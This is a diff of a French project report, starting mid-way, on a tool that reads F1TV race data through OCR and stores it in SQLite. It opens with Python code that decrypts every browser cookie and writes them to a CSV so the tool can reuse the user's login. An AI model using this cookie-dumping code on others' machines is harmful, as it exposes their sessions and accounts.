+    cursor = connection.cursor()
+    cursor.execute("SELECT * FROM cookies")
+
+    with open('cookies.csv', 'a', newline='') as csvfile:
+        fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
+        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
+
+        if csvfile.tell() == 0:
+            writer.writeheader()
+
+        for row in cursor.fetchall():
+            decrypted_value = decrypt_password(row["encrypted_value"], master_key)
+            writer.writerow({
+                'host_key': row["host_key"],
+                'name': row["name"],
+                'value': decrypted_value,
+                'path': row["path"],
+                'expires_utc': row["expires_utc"],
+                'is_secure': row["is_secure"],
+                'is_httponly': row["is_httponly"]
+            })
+
+print("Finished CSV")
+
      +

      Et la partie C# qui appelle le script et qui lit le CSV :

      +
      private void StartCookieRecovering()
+        {
+            string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME;
+            Process process = new Process();
+            process.StartInfo.FileName = "python.exe";
+            process.StartInfo.Arguments = scriptPath;
+            process.StartInfo.UseShellExecute = false;
+            process.StartInfo.RedirectStandardOutput = true;
+            process.Start();
+            string output = process.StandardOutput.ReadToEnd();
+            process.WaitForExit();
+        }
+
      +
      public string GetCookie(string host, string name)
+        {
+            StartCookieRecovering();
+            string value = "";
+            List<Cookie> cookies = new List<Cookie>();
+            using (var reader = new StreamReader(COOKIES_CSV_FILENAME))
+            {
+                // Read the header row and validate column order
+                string header = reader.ReadLine();
+                string[] expectedColumns = { "host_key", "name", "value", "path", "expires_utc", "is_secure", "is_httponly" };
+                string[] actualColumns = header.Split(',');
+                for (int i = 0; i < expectedColumns.Length; i++)
+                {
+                    if (expectedColumns[i] != actualColumns[i])
+                    {
+                        throw new InvalidOperationException($"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'");
+                    }
+                }
+
+                // Read each data row and parse values into a Cookie object
+                while (!reader.EndOfStream)
+                {
+                    string line = reader.ReadLine();
+                    string[] fields = line.Split(',');
+
+                    string hostname = fields[0];
+                    string cookieName = fields[1];
+
+                    if (hostname == host && cookieName == name)
+                    {
+                        value = fields[2];
+                    }
+                }
+            }
+
+            return value;
+        }
+
      +

      Maintenant que l'on sait comment simuler et manipuler un navigateur internet, que l'on sait comment se connecter sur le compte F1TV de l'utilisateur sans qu'il n'aie rien à faire. On a tous les ingrédients pour automatiquement récupèrer des images de la F1TV du Grand Prix que l'on souhaite.

      Calibration

      -

      [AJOUTER EXPLICATION]

      -

      OCR

      -

      Ici je vais parler de la seconde partie du projet qui parle du processus de reconnaissance de data sur une image du feed DATA de la F1TV.

      +

      Maintenant que l'on a des images de la page Data de la F1TV on pourrait croire que c'est tout bon on peut direct passer à la partie OCR. Mais que nenni !

      +

      Le gros soucis de l'OCR c'est que sa précision est grandement réduite dès que l'on augmente la taille de la zone de recherche. Même simplement deux mots sur une image, si on les prends dans images individuelles on a de grandes chances de trouver quelque chose mais si on les mets les deux sur la même et que on tente l'OCR on va avoir de résultats bien moins bons.

      +

      Et puis il faut aussi voir que selon les données que je cherche je ne peux pas faire le même traitement.

      +

      Par exemple, savoir si le DRS est allumé, savoir quels pneus chausse un pilote et depuis combien de tours et savoir quel est le temps de son dernier tour, ce sont des informations qui demandent des traitements qui n'ont rien à voir.

      +

      Il faut donc pouvoir dire au programme d'OCR ou se trouvent les informations et quelle est leur nature pour qu'il puisse les décoder.

      +

      Il faut donc faire une calibration qui puisse donner toutes les infos importantes mais qui en même temps soit facile à utiliser car un utilisateur doit être capable de le faire assez facilement.

      +

      Voici la liste des informations que l'on doit récupèrer :

      +
        +
      • La liste des pilotes présent sur le Grand Prix
        • +
      • La position de la zone principale
        • +
      • La position de chaque zone de pilote
        • +
      • La position de toutes les Window sur chaque zone de pilote
        • +
      +

      Le but a été de retirer le plus d'étapes possibles à l'utilisateur. Techniquement j'aurais pu faire une version complêtement manuelle mais ca aurait pris trop de temps alors il y a des systèmes qui permettent de rendre cette tâche moins pénible.

      +
      Liste des pilotes
      +

      Pour la liste des pilotes j'ai pensé à utiliser une API externe pour avoir une liste dans laquelle on pourrait selectionner des noms de pilotes sauf que j'ai abandonné l'idée car je trouvais que le projet avait déja bien assez de points qui dépendent de l'exterieur.

      +

      Il y a donc une liste de pilotes dans laquelle on peut ajouter ou supprimer des noms de pilotes. L'idéal serait de mettre tous les pilotes de reserve comme ca si un pilote est malade sur une course on a pas besoin de venir changer la liste.

      +
      Zone principale
      +

      Pour la zone principale c'est complêtement manuel, on attend de l'utilisateur deux points x,y sur l'image pour ensuite avoir une idée de ou est sensé se trouver la zone.

      +
      + +
      "Exemple de zone principale"
      +
      +
      Zones pilotes
      +

      C'est la que ca devient intéressant. L'utilisateur n'a pas besoin de faire quoi que ce soit pour que le programme sache ou sont les zones des pilotes.

      +

      J'aurais pu le faire manuellement en faisant choisir à l'utilisateur de donner deux points qui correspondent à la première zone et extrapoler pour en avoir 20. Sauf que si l'utilisateur n'est pas précis au pixel près (et même comme ca parfois) le vingtième pilote se retrouve avec une zone complêtement desaxée.

      +

      La, le programme va "simplement" effectuer une reconaissance de texte sur toute l'image. Les résultats ne nous intéressent pas vraiment tout ce que l'on veut c'est la position des textes.

      +

      Avec les position il est facile de determiner ou sont toutes les zones de pilotes et donc sans que l'utilisateur n'aie à toucher quoi que ce soit, dès qu'il a donné les infos pour la zone principale, les zones de pilotes sont determinées.

      +
      + +
      "Exemple zone pilote"
      +
      +

      Voici un exemple du code utilisé pour trouver ou dessiner des zones de pilotes :

      +
      public void AutoCalibrate()
+        {
+            List<Rectangle> detectedText = new List<Rectangle>();
+            List<Zone> zones = new List<Zone>();
+
+            TesseractEngine engine = new TesseractEngine(Window.TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
+            Image image = MainZone.ZoneImage;
+            var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image));
+
+            Page page = engine.Process(tessImage);
+            using (var iter = page.GetIterator())
+            {
+                iter.Begin();
+                do
+                {
+                    Rect boundingBox;
+                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
+                    {
+                        //var text = iter.GetText(PageIteratorLevel.Word).ToUpper();
+                        //We remove all the rectangles that are definitely too big
+                        if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS)
+                        {
+                            //Now we add a filter to only get the boxes in the right because they are much more reliable in size
+                            if (boundingBox.X1 > image.Width / 2)
+                            {
+                                //Now we check if an other square box has been found roughly in the same y axis
+                                bool match = false;
+                                //The tolerance is roughly half the size that a window will be
+                                int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2;
+
+                                foreach (Rectangle rect in detectedText)
+                                {
+                                    if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance)
+                                    {
+                                        //There already is a rectangle in this line
+                                        match = true;
+                                    }
+                                }
+                                //if nothing matched we can add it
+                                if (!match)
+                                    detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height));
+                            }
+                        }
+                    }
+                } while (iter.Next(PageIteratorLevel.Word));
+            }
+            //DEBUG
+            int i = 1;
+            foreach (Rectangle Rectangle in detectedText)
+            {
+                Rectangle windowRectangle;
+                Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS);
+                Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2);
+                windowRectangle = new Rectangle(windowLocation, windowSize);
+                //We add the driver zones
+                Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, "DriverZone");
+                MainZone.AddZone(driverZone);
+
+                //driverZone.ZoneImage.Save("Driver" + i+".png");
+                i++;
+            }
+        }
+
      +
      Windows pilotes
      +

      C'est ici que c'est le plus pénible pour l'utilisateur, il doit selectionner manuellement les positions des fenêtres de données. Ensuite dès que l'utilisateur a donnée une position pour chaque window, on applique les positions pour chaque zone de pilote.

      +

      Il y a plusieurs types de windows et selon le type le traitement est différent comme je l'ai dit plus tôt. Voici des exemples concrets :

      +
      + +
      "Exemple Window de pneus"
      +
      +
      + +
      "Exemple Window temps au tour"
      +
      +
      + +
      "Exemple window Drs"
      +
      +

      Il est important que toutes ces zones soient transmises avec le plus de précision possible pour que l'OCR puisse bien faire son boulot.

      +
      Stockage
      +

      Ensuite quand l'utilisateur a finit de configurer son flux, la configuration est stockée pour qu'il puisse ensuite la réutiliser pour tous les autres Grand Prix de l'année.

      +

      Le stockage est fait sous format JSON et est fait pour que le programme d'OCR puisse lire dedans toutes les infos nescessaires.

      +

      Cela fait des fichiers plutôt gros mais je n'avais pas vraiment le choix. J'ai testé une version avec seulement les infos de la première zone de pilote mais avec l'interpolation, les derniers pilotes se retrouvent avec des zones clairement pas à la bonne taille.

      +

      Voici un exemple de ce à quoi ressemble le JSON final :

      +
      {
+  "Main": {
+    "x": 36,
+    "y": 343,
+    "width": 3780,
+    "height": 1454,
+    "DriverZones": [
+      {
+        "name": "Driver1",
+        "x": 0,
+        "y": 1,
+        "width": 3780,
+        "height": 72,
+        "Windows": [
+          {
+            "Position": {
+              "x": 45,
+              "y": 3,
+              "width": 76,
+              "height": 65
+            },
+            "GapToLeader": {
+              "x": 447,
+              "y": 1,
+              "width": 206,
+              "height": 67
+            },
+            "LapTime": {
+              "x": 863,
+              "y": 3,
+              "width": 229,
+              "height": 65
+            },
+            "DRS": {
+              "x": 1095,
+              "y": 1,
+              "width": 174,
+              "height": 67
+            },
+            "Tyres": {
+              "x": 1274,
+              "y": 3,
+              "width": 1448,
+              "height": 62
+            },
+            "Name": {
+              "x": 2724,
+              "y": 3,
+              "width": 361,
+              "height": 65
+            },
+            "Sector1": {
+              "x": 3088,
+              "y": 1,
+              "width": 239,
+              "height": 65
+            },
+            "Sector2": {
+              "x": 3314,
+              "y": 4,
+              "width": 190,
+              "height": 62
+            },
+            "Sector3": {
+              "x": 3493,
+              "y": 1,
+              "width": 198,
+              "height": 67
+            }
+          }
+        ]
+      },
+      {
+        "name": "Driver2",
+        "x": 0,
+        "y": 72,
+        "width": 3780,
+        "height": 72,
+        "Windows": [
+          {
+            "Position": {
+              "x": 45,
+              "y": 3,
+              "width": 76,
+              "height": 65
+            },
+            "GapToLeader": {
+              "x": 447,
+              "y": 1,
+              "width": 206,
+              "height": 67
+            },
+            "LapTime": {
+              "x": 863,
+              "y": 3,
+              "width": 229,
+              "height": 65
+            },
+            "DRS": {
+              "x": 1095,
+              "y": 1,
+              "width": 174,
+              "height": 67
+            },
+            "Tyres": {
+              "x": 1274,
+              "y": 3,
+              "width": 1448,
+              "height": 62
+            },
+            "Name": {
+              "x": 2724,
+              "y": 3,
+              "width": 361,
+              "height": 65
+            },
+            "Sector1": {
+              "x": 3088,
+              "y": 1,
+              "width": 239,
+              "height": 65
+            },
+            "Sector2": {
+              "x": 3314,
+              "y": 4,
+              "width": 190,
+              "height": 62
+            },
+            "Sector3": {
+              "x": 3493,
+              "y": 1,
+              "width": 198,
+              "height": 67
+            }
+          }
+        ]
+      }
+    [Other pilots...]
+    ],
+    "Drivers": [
+      "Perez",
+      "Verstappen",
+      "Alonso",
+      "Sainz",
+      "Russel",
+      "Gasly",
+      "Leclerc",
+      "Ocon",
+      "Hulkenberg",
+      "Bottas",
+      "Hamilton",
+      "Albon",
+      "Tsunoda",
+      "Zhou",
+      "Stroll",
+      "De Vries",
+      "Magnussen",
+      "Norris",
+      "Piastri",
+      "Sargeant"
+    ]
+  }
+}
+
      +

      Et avec tout ca. L'OCR peut démarrer dans de bonnes conditions

      +

      OCR

      +

      Maintenant que on a des images qui arrivent automatiquement et que l'on sait ou se trouvent les informations sur ces dites images, je vais parler de la seconde partie du projet qui parle du processus de reconnaissance de data sur une image du feed DATA de la F1TV.

      C'est je pense la partie qui a demandé le plus tests et de refactor.

      Toute la partie OCR a été développée dans un projet à part avant d'être intégrée dans le projet final.

      Il faut savoir que la reconnaissance est différente celon ce que l'on cherche. Je vais donc décomposer cette partie du document en sous rubriques selon les données recherchées.

      Mais avant ca je dois expliquer certains concepts qui seront importants.

      -

      Fonctionnement général

      +

      Fonctionnement général

      Voici un screenshot de la page DATA de la F1TV que le programme va recevoir :

      @@ -1496,6 +2444,8 @@ On peut y voir au moins 4 zones contenant de l'information dans un format diffé
    • On nettoie le résultat Tesseract pour compenser certains biais
    • On convertis le résultat en milisecondes
    +
    les chiffres (2)
    +

    Il faut savoir que avec la dernière version de l'émulateur (dont je vais parler un peu plus tard)

    Pneus

    La on arrive sur la partie la plus pénible.

    Pour comprendre la problématique il faut d'abord faire un petit point sur comment les pneus fonctionnent en Formule 1.

    @@ -1693,13 +2643,483 @@ C'est une étape très importante pour l'OCR car elle permet (si bien faite) d'i

    Cette methode est assez simple et est juste une methode qui va passer en revue tous les pixels de l'image et si la couleur d'un pixel s'apparente à celle d'un pixel de fond il est passé en noir total ou en blanc total. Le but est de permettre au reste du programme de fonctionner avec des couleurs moins ambigues.

    Une variante spécialisée pour la reconnaissance des pneus appelée affectueusement Remove Useless cherche à atteindre le même bu mais est bien plus soffistiquée et spécialisée pour retirer le background autour d'un cercle de couleur pour ensuite retirer la couleur et qu'il ne reste qu'un chiffre. Pour plus de details voir la detection de pneus.

    Il y aussi d'autre methodes comme un filtre Gaussien ou Highlight countour que j'ai du développer mais que je n'ai pas utilisé donc je ne vais pas en parler ici.

    -

    Interprétation des données

    +
    Petit point résolution
    +

    Comme on peut l'imaginer la résolution est extrêmement importante pour l'OCR. Et en avancant sur le projet de l'émulateur je me suis rendu compte qu'il était possible de récupèrer des images en 4K (Plutôt 1080 avec l'upscaling du lecteur). Cela est une superbe nouvelle car cela permet de simplifier énormément le processing sur les différentes windows.

    +

    Quelques exemples pour se faire une idée

    +
    + +
    "Echantillon 720P"
    +
    +

    ;

    +
    + +
    "Echantillon 1080P"
    +
    +
    + +
    "Echantillon 4K"
    +
    +

    Mais il faut savoir que grâce à cette simplification j'ai pu aussi créer d'autres methodes de filtrage pour certaines parties. Mais la simplification était obligatoire car avec des images aussi grande il n'était simplement pas possible de venir appliquer les mêmes filtres car le temps de traitement serait beaucoup plus long.

    +

    J'indique ces changements que après l'explication d'avant car ce sont des changements un peu de dernière minute et que la logique expliquée plus haut a été très importante pour le projet OCR même si tout n'est plus forcément utilisé maintenant que j'ai des images de meilleure qualité.

    +

    Dans la version actuellement disponible la reconnaissance a été simplifiée sous cette forme :

    +
      +
    • Le "GapToLeader" est décodé avec un premier passage de Tresholding à 165 puis un Resize de 2 et une Dilatation de 1 pour retirer le flou
      • +
    • Les "Sectors" sont décodés en utilisant une toute nouvelle methode VanishOxyAction à cause des couleurs parfois appliquées et ensuite simplement une methode de Tresholding de 150 pour rendre le résultat assez propre pour l'OCR.
      • +
    • Le "LapTime" est dabord passé par un Tresholding très strict de 185 pour préparer la SobelEdgeDetection qui est également une nouvelle methode qu'il a été possible d'utiliser grâce à la simplification du reste des processus.
      • +
    • Le "Text" est décodé simplement avec un tresholding de 165 maintenant grâce à l'image 4K.
      • +
    • Les pneus ont leur propre traitement comme expliqué plus haut auquel on ajoute la Dilatation de 1.
      • +
    +

    Comme on peut le voir le traitement est pas mal plus simple mais cela ne veut pas dire que les autres methodes que je n'utilise plus ne sont pas utiles. La reconnaissance n'est pas encore parfaite et je pense que leur utilisation pourrait aider à améliorer les résultats. (Et parfois ces anciennes methodes sont utiles dans les traitements personnalisés des windows elle mêmes comme par exemple les pneus qui utilisent la methode GrayScale pour isoler les couleurs)

    +

    VanishOxyAction

    +

    Cette methode est une methode plutôt simple mais qui est importante. Elle se base beaucoup sur le code de la methode Grayscale et sur la methode Tresholding car elle essaie de regrouper le meilleur des deux en règlant quelques soucis que ces dernières crééent.

    +

    Le soucis avec la methode grayscale c'est que quand le texte est de couleur (Ce qui arrive souvent pour les temps de secteurs) la methode GrayScale rend les couleurs dans une nuance de gris un peu trop sombre ce qui fait que ensuite la methode de Tresholding défonce tout.

    +
    + +
    "Exemple de secteur en couleur"
    +
    +
    + +
    "Exemple de secteur en grayscale"
    +
    +

    L'idée est alors de prendre pour chaque pixel et de garder uniquement la valeur de R,G ou B la plus haute et de mettre les deux autres canaux au même niveau pour avoir une image blanchie qui puisse être ensuite utilisée avec la methode de Tresholding sans soucis.

    +
    + +
    "Exemple de secteur blanchi avec vanishoxyAction"
    +
    +

    SobelEdgeDetection

    +

    On pourrait se dire que avec ce genre de methode le tresholding est inutile ensuite mais ca n'est pas le cas car le tresholding sert ensuite pour rendre les contours plus ou moins aggressif. Car même si l'image ressemble à une image binarisée, il reste des nuances que le treshold va pouvoir utiliser.

    +

    SobelEdgeDetection

    +

    Cette methode est une methode assez classique que je n'ai pas designé moi même alors je ne vais pas trop m'épancher dessus.

    +

    En gros on utilise une matrice et une formule mathématique pour redessiner une image et le résultat est une image avec des contours. Je ne l'ai utilisé que pour les temps au tour car ce sont les plus récalcitrants.

    +

    Cette methode a besoin d'une image passée en noir et blanc au préalable à laquelle on applique ensuite les matrrices de filtres. Et avec ces filtres ajoutés à l'image on peut ensuite calculer le "Gradient" pour créer les bords.

    +

    Le seul soucis de cette methode c'est qu'elle est assez gourmande et qu'elle fournit des formes creuses dû à la nature des matrices données.

    +

    Voici un exemple de ce dont cette méthode est capable :

    +
    +Artefacts de la detection de bords de Sobel +
    Artefacts de la detection de bords de Sobel
    +
    +

    Apparemment l'OCR aime assez bien cette methode et elle permet de beaucoup moins souvent oublier les '.' ou ':'

    +

    Traitement des données

    +

    C'est bien gentil de recevoir des résultats de l'OCR, cependant on ne peut pas souvent les utiliser comme tels. En effet les resultats ne sont pas très constants et demandent d'être verifiés pour savoir si ils doivent être pris en compte.

    +

    Le post traitement de ces données dépend complêtement du contexte et donc il est différent pour chque type de window.

    +

    Voici un florilège des différents types de traitements :

    +
      +
    • Traitement du nom de pilote
      • +
    +

    Rien de plus que ce qui est déja détaillé dans la partie OCR

    +
      +
    • Traitement des pneus
      • +
    +

    Pareil

    +
      +
    • Traitement des temps
      • +
    +

    La par contre c'est intéressant. Dans un monde parfait je pourrais simplement prendre les résultats de l'OCR et les traiter directement. Mais comme nous vivons dans un monde ou la souffrance et la douleur sont les seules choses autorisées on ne peut pas.

    +

    Le problème vient du fait que les temps que l'on peut trouver sur la F1TV sont encodés avec des '.' et des ':' qui determinent les limites entre les chiffres qui désignent les minutes, les secondes et les milisecondes. Et le soucis avec ces séparateurs c'est qu'ils aiment bien mettre le chaos dans la reconnaissance. Quand ils ne sont pas compris comme des autres chiffres ils sont parfois simplement oubliés ou pris en double c'est un enfer.

    +

    Il faut donc trouver un moyen de detecter quand cela arrive. Et je n'ai pas trouvé de meilleur moyen que de faire du cas par cas.

    +

    Cela peut paraître simple quand on parle par exemple des secteurs. On sasit que on attend deux chiffres avant un '.' et trois chiffres après. Il est donc facile de voir que si je trouve six chiffres et pas de séparation le troisième est le séparateur mal compris.

    +

    Mais l'exemple qui détruit vraiment tout c'est les écarts avec le leader. Autant un temps au tour c'est toujours x:xx.xxx et un temps de secteur c'est xx.xxx. Mais un écart avec le leader ca peut être 0.345 comme 1:12.345. Ce qui fait que quand je 121345 est-ce que c'est 12.345 ou 1:21.345...?

    +

    Souvent on peut quand même déduire mais cela demande de prévoir presque tous les cas limites ce qui est assez pénible.

    +

    On pourrait se dire qu'il suffit de voir si la valeur est trop en dehors des normes. Le soucis c'est que il n'est pas impossible que un temps au tour ou un écart prenne d'un coup une grosse différence. Cela arrive même assez souvent quand des pilotes sortent de la piste.

    +
    + +
    "Exemple temps au tour"
    +
    +
    + +
    "Exemple temps secteur"
    +
    +

    Pour ce qui est du DRS et de la position des pilotes, il n'y a pas vraiment de traitement supplémentaire. Non pas car la detection est parfaite, mais par ce que la detection ne peut pas rater de 200 facons. Le DRS ne peut retourner que TRUE ou FALSE et la position du pilote est entre 1 et 20 compris. Le peu de nuance fait que ce sont des cas de figures qui ne demandent pas un traitement particulier au delà de l'OCR

    Stockage des données

    +

    Dans ce projet le but n'est pas simplement de trouver les données et les afficher. L'intérêt de les récupèrer est de pouvoir les comparer à d'autres données précédentes.

    +

    Le vrai soucis de la F1TV c'est justement que l'on ne peut pas facilement voir les évolutions. On ne peut voir que des "photos" de la situation actuelle de la course.

    +

    Il faut donc garder en mémoire les différentes choses qui se sont passées. Techniquement on pourrait stocker ces données dans de bêtes listes C#. Mais le soucis avec ca c'est que même si des outils comme LinQ existent, ca n'est pas le plus pratique quand on veut faire des recherches complexes.

    +

    Il faut aussi voir que si le projet dans sa forme actuelle aurait peut-être pu se satisfaire de listes simples, le but est d'ensuite pouvoir construire sur ces bases pour faire des predictions et des insertions de stats beaucoup plus intéressantes qui demandent de faire des requêtes complexe rapidement.

    +

    Je me suis dit que la meilleure methode serait d'avoir une base de donnée dans laquelle je peux faire des requètes SQL. Mais commme je n'ai pas besoin de toutes les features de SQl et que je ne veut pas avoir à gèrer un serveur de base de donnée et tout ce qui va avec je me suis dit qu'une bonne option serait d'utiliser SQLITE.

    +
    + +
    "Logo Sqlite"
    +
    +

    ;

    +

    SQLITE est vraiment pratique car cela me permet d'avoir une DB sans avoir de serveur donc pas vraiment complexe ou quoi que ce soit mais qui conserve les aventages de rapidité et d'utilisation de requetes SQl.

    +

    J'ai créé trois tables dans cette base de donnée SQLITE que voici :

    +

    Base de donnée

    +

    Drivers

    + + + + + + + + + + + + + + + + + + + + + + + +
    ColonneType de DataDescriptionTag
    IDINTEGERID du pilotePRIMARY
    NameVARCHARNom du piloteNOT NULL
    +

    Pitstops

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ColonneType de DataDescriptionTag
    LapINTEGERTour durant lequel le Pitstop a été effectuéPRIMARY
    DriverIDINTEGERPilote qui a effectué le PitstopPRIMARY
    TyreVARCHARPneu chaussé par le piloteNOT NULL
    +

    Stats

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ColonneType de DataDescriptionTag
    LapINTEGERTour durant lequel le Pitstop a été effectuéPRIMARY
    DriverIDINTEGERPilote qui concernéPRIMARY
    TyreVARCHARPneu chaussé par le piloteNOT NULL
    LapTimeINTEGERTemps au tour (MS)NOT NULL
    Sector1INTEGERTemps du secteur 1 (MS)NOT NULL
    Sector2INTEGERTemps du secteur 2 (MS)NOT NULL
    Sector3INTEGERTemps du secteur 3 (MS)NOT NULL
    GapToLeaderINTEGEREcart avec le leader (MS)NOT NULL
    PositionINTEGERPosition piloteNOT NULL
    +

    La table Drivers sert juste à stocker les différents noms de pilote pour qu'ils soient utilisés dans le reste de la DB

    +

    La table Pitstops n'est pas vraiment utilisée dans l'état actuel du projet. Mais le but était de la remplir dès que le programme détectais un arrêt aux stands. Le but est ensuite de pouvoir construire un classement pondèré en fonction des arrêts des différents pilotes et d'afficher la stats tout le temps sur l'affichage principal. +Elle n'est pas vraiment utilisée car la detection de pitstop n'a pas pu être commplêtée. De par la nature des données récupèrées des pneus et des positions, c'est très difficile de detecter avec prescision un arrêt aux stands.

    +

    La table Stats est la plus importante car elle contient toutes les informations concernant les pilotes à chaque tour. L'idée est qu'elle soit remplie à chaque tour. Les infos ne sont pas scensée être les infos live mais plutôt juste une photo à chaque tour de la situation de chaque pilote pour ensuite pouvoir faire des commparaisons tourspar tours. Des données comme le GapToLeader peuvent évoluer pendant le tour mais on s'en fiche. Ce qui compte vraiment c'est le temps au tour et les secteurs ainsi que les pneus.

    +

    Quand remplir la base ?

    +

    Dans ce projet il y a deux type d'information. Les informations live qui sont stockées dans des listes et les informations long terme qui sont stockées dans la DB.

    +

    A chaque itération de l'OCR, les données récupèrées sont stockées dans une liste de DRIVERDATA.

    +

    Les DRIVERDATA sont des structures de données qui contiennent toutes les infos d'un pilote à un instant T. Elles peuvent être incomplêtes et sont juste la pour faire de petits calculs et determiner quand insèrer des données permanentes.

    +

    Ce qui nous amène au moment intéressant. Comment on détermine quand il est intéressant d'insèrer des informations dans la base de données.

    +

    Il y a deux cas de figure ou on pourrait vouloir insèrer des infos :

    +
    Quand un pilote a finit un tour
    +

    En effet, j'ai estimé que les seuls moments ou on veut garder une photo de la situation du pilote c'est quand il passe d'un tour à l'autre. +Le raisonnement est le suivant : +On ne veut pas conserver TOUTES les données car si on prend une phot toutes les trois secondes, la majorité des informations seront redondantes avec les précédentes. +Mais en même temps il ne faut pas rater des changements importants de données. +Les seules données qui changent entre deux passages de l'OCR sont les écarts entre les pilotes et de temps en temps un nouveau secteur s'affiche. Alors que d'un tour à l'autre presque toutes les informations changent. Et on ne perd que les légères fluctuations des écarts entre les pilotes.

    +

    J'ai donc décidé de conserver une photo par tour. Mais c'est bien joli sauf qu'il reste une difficulté : Comment savoir qu'un pilote a fait son tour ?

    +

    Cela peut paraître simple comme question mais elle est plus difficile qu'il n'y parait. Il faut savoir que en F1 un pilote peut être dans son 26ème tour pendant qu'un autre en est à son 24ème. Chaque pilote a sa propre course et au fur et à mesure que les écarts se creusent il peut y avoir un tour voir plusieurs d'écart entre la queue de course et les premiers pilotes.

    +

    Ensuite il faut savoir qu'il n'est pas marqué sur la f1TV dans quel tour chaque pilote est. Il faut donc le déduire en fonction des Data.

    +

    Voici le code le if qui détecte un nouveau tour

    +
    if (DriverDataLogs[i][DriverDataLogs[i].Count - 1].Sector3 != 0
+&& DriverDataLogs[i][DriverDataLogs[i].Count - 2].Sector3 == 0
+&& DriverDataLogs[i][DriverDataLogs[i].Count - 2].Position != -1
+&& DriverDataLogs[i][DriverDataLogs[i].Count - 1].Position != -1)
+{
+  //Do stuff
+}
+
    +

    DriverDataLogs est une liste de liste d'informations de pilotes.

    +

    Chaque DriverDataLogs représente les 20 photos des données des pilotes.

    +

    Cela veut dire que DriverDataLogs[3] représente toutes les infos des pilotes dans le tour 4 et que DriverDataLogs[3][0] représente toutes les infos du premier pilote dans le tour 3.

    +

    Si on analyse un peu ce qui est écrit avec ces informations, on peut voir que je détermine qu'un nouveau tour se définis comme une photo ou le troisième secteur a été complêté et ou il ne l'était pas juste avant. Cela fait sens car quand un pilote complête son troisième secteur c'est la que son dernier temps au tour se met à jour.

    +

    Le reste des tests est juste la pour éviter les faux positifs dans le cas ou un des deux DriverDataLogs[x][x] soit corrompu et que donc la valeur n'aie pas de sens. Cela veut dire que dans des conditions très spécifiques je pourrais potentiellement rater un tour mais il faudrait vraiment que l'OCR me joue un vilain tour.

    +
    Quand un pilote a fait un arrêt aux stands
    +

    Et la on touche le plus difficile. Pourtant un arrêt aau stand ne devrait pas être compliqué à detecter. C'est quand un pilote change de pneu. Alors il peut changer de pneu en gardant le même type de pneu et donc tout repose sur le nombre de tour qu'un pneu fait.

    +

    Sauf que il faut ajouter à cette reflexion qu'un pneu peut être chaussé sans qu'il soit neuf. Ce qui veut dire que l'on ne peut pas simplement choisir qu'un pilote a changé de pneus quand ses pneus sont à 1 tour. Il peut très bien reprendre des pneus de qualif qui peuvent avoir 10 tours dans les pattes.

    +

    En plus quand le pilote change de pneus il y a un phenomene assez pénible qui fait que les deux premiers tours faits avec ne sont pass vraiment déchiffrables car ils sont un peu cachés derrière la lettre qui indique le nouveau pneu chaussé.

    +

    Exemple :

    +
    + +
    "Infographie de pneu qui se chevauche"
    +
    +

    Voici le code que j'avais écrit pour tenter de trouver quand un pilote avait fait un pitstop :

    +
    if (data.CurrentTyre.Coumpound != Tyre.Type.Undefined 
+&& data.CurrentTyre.NumberOfLaps == 0 
+&& DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps != 0)
+{
+  //Do stuff
+}
+
    +

    On peut voir que j'essaie de detecter quand le pneu est à 0 tours (ce qui est le moment ou il y a une lettre à la place d'un numéro de tour) et que la photo d'avant montrait un pneu normal.

    +

    On vérifie aussi que le pneu a bien été detecté en verifiant que le pneu n'est pas de type undefined.

    +

    Le soucis c'est que ce n'est pas rare que l'OCR nous retourne qu'un pneu est vieux de 0 tours et donc il est absolument impossible de faire confiance à cette metric.

    +

    Si on veut utiliser cette methode pour trouver les Pitstop il va falloir avant tout améliorer l'OCR sur ce point.

    +

    Ce soucis mets en lumière un principe assez important de l'informatique "Ggarbage in, Garbage out". Si les données que je recoit ne sont pas géniales, le résultat ne sera pas génial non plus. Ce qui est frustrant c'est que la detection des pneus n'est pas si mal mais entre les chiffres qui se chevauchent ce qui nous fait lire 0 alors que c'est juste un un '1' derrière un 'H' ou le 1% du temps ou le programme se trompe, on ne peut pour l'instant tout simplement rien faire de mieux.

    Affichage des données

    -

    Prédictions

    +

    Maintenant que l'on a stocké toutes ces données, il faut en faire quelque chose sinon ca ne sert a rien.

    +

    Afficher les données est techniquement la partie la plus simple du projet. Il faut prendre les données qui nous intéressent de la base de données et des résultats de l'OCR et les afficher sur des composants Windows Forms.

    +

    Il y a deux types d'affichages actuellements mis en place dans le projet sur les trois prévus initialement :

    +

    Affichage direct

    +

    L'affichage direct est simplement l'affichage du résultat de l'OCR.

    +

    Par exemple le classement live ainsi que les écarts entre les pilotes sont affichés directement depuis les résultats de l'OCR. Ce ne sont pas forcément des données prises dans la base de donnée.

    +

    Voici un exemple :

    +
    for (int driverCount = 0; driverCount < liveData.Count; driverCount++)
+{
+    DriverData driver = liveData[driverCount];
+    lblDriverName.Text = driver.Name;
+    lblDriverPosition.Text = driver.Position;
+    lblDriverLapTime.Text = Reader.ConvertMsToTime(driver.LapTime);
+}
+
    +

    C'est l'affichage le plus simple et celui qui est le plus soumis à des erreurs. En effet, si un pilote est mal detecté on le verra directement mal s'afficher dans la Form principale.

    +

    C'est également l'affichage le moins intéressant car il ne crée aucune information, il ne fait que remontrer les infos que l'on peut déja voir dans la F1TV

    +
    + +
    "Exemple d'affichage live"
    +
    +

    Affichage calculé

    +

    La encore il y a plusieurs types d'affichages :

    +
    Affichage Hybride
    +

